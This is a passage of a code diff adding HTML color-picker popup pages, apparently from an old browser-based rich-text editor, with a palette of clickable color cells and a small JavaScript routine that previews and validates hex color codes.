+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('F3001E')" onclick="Set('F3001E')" bgcolor="#F3001E" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('0000FF')" onclick="Set('0000FF')" bgcolor="#0000ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('0033FF')" onclick="Set('0033FF')" bgcolor="#0033ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('0066FF')" onclick="Set('0066FF')" bgcolor="#0066ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('0099FF')" onclick="Set('0099FF')" bgcolor="#0099ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00CCFF')" onclick="Set('00CCFF')" bgcolor="#00ccff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00FFFF')" onclick="Set('00FFFF')" bgcolor="#00ffff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('3300FF')" onclick="Set('3300FF')" bgcolor="#3300ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('3333FF')" onclick="Set('3333FF')" bgcolor="#3333ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('3366FF')" onclick="Set('3366FF')" bgcolor="#3366ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('3399FF')" onclick="Set('3399FF')" bgcolor="#3399ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33CCFF')" onclick="Set('33CCFF')" bgcolor="#33ccff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33FFFF')" onclick="Set('33FFFF')" bgcolor="#33ffff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('6600FF')" onclick="Set('6600FF')" bgcolor="#6600ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('6633FF')" onclick="Set('6633FF')" bgcolor="#6633ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('6666FF')" onclick="Set('6666FF')" bgcolor="#6666ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('6699FF')" onclick="Set('6699FF')" bgcolor="#6699ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66CCFF')" onclick="Set('66CCFF')" bgcolor="#66ccff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66FFFF')" onclick="Set('66FFFF')" bgcolor="#66ffff" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('ffffff')" onclick="Set('ffffff')" bgcolor="#ffffff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('990000')" onclick="Set('990000')" bgcolor="#990000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('993300')" onclick="Set('993300')" bgcolor="#993300" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('996600')" onclick="Set('996600')" bgcolor="#996600" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('999900')" onclick="Set('999900')" bgcolor="#999900" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99CC00')" onclick="Set('99CC00')" bgcolor="#99cc00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99FF00')" onclick="Set('99FF00')" bgcolor="#99ff00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC0000')" onclick="Set('CC0000')" bgcolor="#cc0000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC3300')" onclick="Set('CC3300')" bgcolor="#cc3300" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC6600')" onclick="Set('CC6600')" bgcolor="#cc6600" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC9900')" onclick="Set('CC9900')" bgcolor="#cc9900" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCCC00')" onclick="Set('CCCC00')" bgcolor="#cccc00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCFF00')" onclick="Set('CCFF00')" bgcolor="#ccff00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF0000')" onclick="Set('FF0000')" bgcolor="#ff0000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF3300')" onclick="Set('FF3300')" bgcolor="#ff3300" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF6600')" onclick="Set('FF6600')" bgcolor="#ff6600" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF9900')" onclick="Set('FF9900')" bgcolor="#ff9900" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFCC00')" onclick="Set('FFCC00')" bgcolor="#ffcc00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFFF00')" onclick="Set('FFFF00')" bgcolor="#ffff00" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('cccccc')" onclick="Set('cccccc')" bgcolor="#cccccc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('990033')" onclick="Set('990033')" bgcolor="#990033" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('993333')" onclick="Set('993333')" bgcolor="#993333" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('996633')" onclick="Set('996633')" bgcolor="#996633" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('999933')" onclick="Set('999933')" bgcolor="#999933" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99CC33')" onclick="Set('99CC33')" bgcolor="#99cc33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99FF33')" onclick="Set('99FF33')" bgcolor="#99ff33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC0033')" onclick="Set('CC0033')" bgcolor="#cc0033" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC3333')" onclick="Set('CC3333')" bgcolor="#cc3333" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC6633')" onclick="Set('CC6633')" bgcolor="#cc6633" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC9933')" onclick="Set('CC9933')" bgcolor="#cc9933" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCCC33')" onclick="Set('CCCC33')" bgcolor="#cccc33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCFF33')" onclick="Set('CCFF33')" bgcolor="#ccff33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF0033')" onclick="Set('FF0033')" bgcolor="#ff0033" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF3333')" onclick="Set('FF3333')" bgcolor="#ff3333" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF6633')" onclick="Set('FF6633')" bgcolor="#ff6633" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF9933')" onclick="Set('FF9933')" bgcolor="#ff9933" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFCC33')" onclick="Set('FFCC33')" bgcolor="#ffcc33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFFF33')" onclick="Set('FFFF33')" bgcolor="#ffff33" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('999999')" onclick="Set('999999')" bgcolor="#999999" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('990066')" onclick="Set('990066')" bgcolor="#990066" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('993366')" onclick="Set('993366')" bgcolor="#993366" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('996666')" onclick="Set('996666')" bgcolor="#996666" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('999966')" onclick="Set('999966')" bgcolor="#999966" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99CC66')" onclick="Set('99CC66')" bgcolor="#99cc66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99FF66')" onclick="Set('99FF66')" bgcolor="#99ff66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC0066')" onclick="Set('CC0066')" bgcolor="#cc0066" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC3366')" onclick="Set('CC3366')" bgcolor="#cc3366" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC6666')" onclick="Set('CC6666')" bgcolor="#cc6666" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC9966')" onclick="Set('CC9966')" bgcolor="#cc9966" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCCC66')" onclick="Set('CCCC66')" bgcolor="#cccc66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCFF66')" onclick="Set('CCFF66')" bgcolor="#ccff66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF0066')" onclick="Set('FF0066')" bgcolor="#ff0066" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF3366')" onclick="Set('FF3366')" bgcolor="#ff3366" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF6666')" onclick="Set('FF6666')" bgcolor="#ff6666" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF9966')" onclick="Set('FF9966')" bgcolor="#ff9966" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFCC66')" onclick="Set('FFCC66')" bgcolor="#ffcc66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFFF66')" onclick="Set('FFFF66')" bgcolor="#ffff66" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('666666')" onclick="Set('666666')" bgcolor="#666666" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('990099')" onclick="Set('990099')" bgcolor="#990099" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('993399')" onclick="Set('993399')" bgcolor="#993399" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('996699')" onclick="Set('996699')" bgcolor="#996699" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('999999')" onclick="Set('999999')" bgcolor="#999999" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99CC99')" onclick="Set('99CC99')" bgcolor="#99cc99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99FF99')" onclick="Set('99FF99')" bgcolor="#99ff99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC0099')" onclick="Set('CC0099')" bgcolor="#cc0099" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC3399')" onclick="Set('CC3399')" bgcolor="#cc3399" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC6699')" onclick="Set('CC6699')" bgcolor="#cc6699" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC9999')" onclick="Set('CC9999')" bgcolor="#cc9999" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCCC99')" onclick="Set('CCCC99')" bgcolor="#cccc99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCFF99')" onclick="Set('CCFF99')" bgcolor="#ccff99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF0099')" onclick="Set('FF0099')" bgcolor="#ff0099" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF3399')" onclick="Set('FF3399')" bgcolor="#ff3399" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF6699')" onclick="Set('FF6699')" bgcolor="#ff6699" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF9999')" onclick="Set('FF9999')" bgcolor="#ff9999" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFCC99')" onclick="Set('FFCC99')" bgcolor="#ffcc99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFFF99')" onclick="Set('FFFF99')" bgcolor="#ffff99" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('333333')" onclick="Set('333333')" bgcolor="#333333" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('9900CC')" onclick="Set('9900CC')" bgcolor="#9900cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('9933CC')" onclick="Set('9933CC')" bgcolor="#9933cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('9966CC')" onclick="Set('9966CC')" bgcolor="#9966cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('9999CC')" onclick="Set('9999CC')" bgcolor="#9999cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99CCCC')" onclick="Set('99CCCC')" bgcolor="#99cccc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99FFCC')" onclick="Set('99FFCC')" bgcolor="#99ffcc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC00CC')" onclick="Set('CC00CC')" bgcolor="#cc00cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC33CC')" onclick="Set('CC33CC')" bgcolor="#cc33cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC66CC')" onclick="Set('CC66CC')" bgcolor="#cc66cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC99CC')" onclick="Set('CC99CC')" bgcolor="#cc99cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCCCCC')" onclick="Set('CCCCCC')" bgcolor="#cccccc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCFFCC')" onclick="Set('CCFFCC')" bgcolor="#ccffcc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF00CC')" onclick="Set('FF00CC')" bgcolor="#ff00cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF33CC')" onclick="Set('FF33CC')" bgcolor="#ff33cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF66CC')" onclick="Set('FF66CC')" bgcolor="#ff66cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF99CC')" onclick="Set('FF99CC')" bgcolor="#ff99cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFCCCC')" onclick="Set('FFCCCC')" bgcolor="#ffcccc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFFFCC')" onclick="Set('FFFFCC')" bgcolor="#ffffcc" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('9900FF')" onclick="Set('9900FF')" bgcolor="#9900ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('9933FF')" onclick="Set('9933FF')" bgcolor="#9933ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('9966FF')" onclick="Set('9966FF')" bgcolor="#9966ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('9999FF')" onclick="Set('9999FF')" bgcolor="#9999ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99CCFF')" onclick="Set('99CCFF')" bgcolor="#99ccff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('99FFFF')" onclick="Set('99FFFF')" bgcolor="#99ffff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC00FF')" onclick="Set('CC00FF')" bgcolor="#cc00ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC33FF')" onclick="Set('CC33FF')" bgcolor="#cc33ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC66FF')" onclick="Set('CC66FF')" bgcolor="#cc66ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CC99FF')" onclick="Set('CC99FF')" bgcolor="#cc99ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCCCFF')" onclick="Set('CCCCFF')" bgcolor="#ccccff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('CCFFFF')" onclick="Set('CCFFFF')" bgcolor="#ccffff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF00FF')" onclick="Set('FF00FF')" bgcolor="#ff00ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF33FF')" onclick="Set('FF33FF')" bgcolor="#ff33ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF66FF')" onclick="Set('FF66FF')" bgcolor="#ff66ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FF99FF')" onclick="Set('FF99FF')" bgcolor="#ff99ff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFCCFF')" onclick="Set('FFCCFF')" bgcolor="#ffccff" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('FFFFFF')" onclick="Set('FFFFFF')" bgcolor="#ffffff" height="10px" width="10px"><br>
+</td>
+</tr>
+</tbody></table>
+
+</body></html>
--- /dev/null
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+window.resizeTo(240, 182);
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="1px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+ <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+ <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+ id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+ <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
